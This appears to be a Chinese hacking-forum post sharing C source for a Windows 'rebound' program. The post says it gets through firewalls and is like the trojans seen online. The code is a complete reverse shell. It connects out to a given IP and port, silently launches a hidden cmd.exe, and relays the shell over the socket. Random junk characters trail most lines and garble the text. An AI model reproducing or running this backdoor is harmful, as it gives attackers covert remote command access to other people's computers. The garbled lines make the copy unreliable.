这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +%LR1+/%b
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/* ============================== MLt'tzgl
Rebound port in Windows NT n{xL1A=9
By wind,2006/7 ,=`iQl3(y/
===============================*/ &9\8IR >
#include U t.#h="
#include 9M1 UkS$`@
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#pragma comment(lib,"wsock32.lib") lAo S 9w
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void OutputShell(); nx@h
SOCKET sClient; 8U7X/L
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qBqh>Wo
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void main(int argc,char **argv) YB"=eld
{ \Qei}5P,
WSADATA stWsaData; 5DnX8t+d
int nRet; 4,?ZNyl
SOCKADDR_IN stSaiClient,stSaiServer; n@y*~sG]
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if(argc != 3) YQ7tZl;:t
{ </9@RO
printf("Useage:\n\rRebound DestIP DestPort\n"); 0i/!nke.
return; {Zrf>ST
} BHJS.o*j~
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,w0Io
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _?a.S8LxJZ
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stSaiClient.sin_family = AF_INET; =;y(b~
stSaiClient.sin_port = htons(0); eWTbHF
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X"O^4MnvI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {V5eHn9/Q'
{ <,I]=+A
printf("Bind Socket Failed!\n"); s:Io5C(
return; D~7L~Q]xI
} dmk_xBy s|
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stSaiServer.sin_family = AF_INET; HR$;QHl~F
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l$3YJ.n|s~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *e
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) pX]"^f1?O
{ >0.a#-u^
printf("Connect Error!"); ?$ 0t @E
return; 8 ;o*c6+
} l[M?"<Ot;
OutputShell(); Gey j`t
} sL\W6ej
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void OutputShell() ^ 9 FRI9?
{ kyu
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char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; H:_R[u4r
OSVERSIONINFO stOsversionInfo; c,_??8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GNab\M.
STARTUPINFO stStartupInfo; IJv+si:k
char *szShell; gkL{]*9&%
PROCESS_INFORMATION stProcessInformation; 1cY,)Z%l #
unsigned long lBytesRead; `u#N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =w2_1F"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xBg.QV
stSecurityAttributes.lpSecurityDescriptor = 0; 22r$Ri_>
stSecurityAttributes.bInheritHandle = TRUE; J~k'b2(p3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .ly K
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZOY zCc(d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gPw{'7'U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; klSA Y
stStartupInfo.wShowWindow = SW_HIDE; SRek:S,
stStartupInfo.hStdInput = hReadPipe; 10W6wIqK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C7xmk;c
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GetVersionEx(&stOsversionInfo); 5Za%EaW%G
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switch(stOsversionInfo.dwPlatformId) 0t(js_
{ $&jte_hv
case 1: p@iU9K\,
szShell = "command.com"; ^]ig*oS\`
break; "]ZDs^7
default: :FX|9h
szShell = "cmd.exe"; O7lFg;9c`
break; ;T*o
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} vz3#.a~2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j6DI$tV~
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send(sClient,szMsg,77,0); Q$8&V}jVW
while(1) 1AAOg+Y@U"
{ Sgq?r-Q.
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sglH=0MP
if(lBytesRead) i:\|G^h
{ aDZ] {;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MeW?z|x`'
send(sClient,szBuff,lBytesRead,0); =gQ^,x0R9
} olca
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else !"<~n-$B
{ w'7=CzfYn
lBytesRead=recv(sClient,szBuff,1024,0); Q%n$IQr4gM
if(lBytesRead<=0) break; ,WtJ&S7?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `/JuItL-
} +~f=L- >
} 2./;i>H[u
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return; rceX|i>9n
}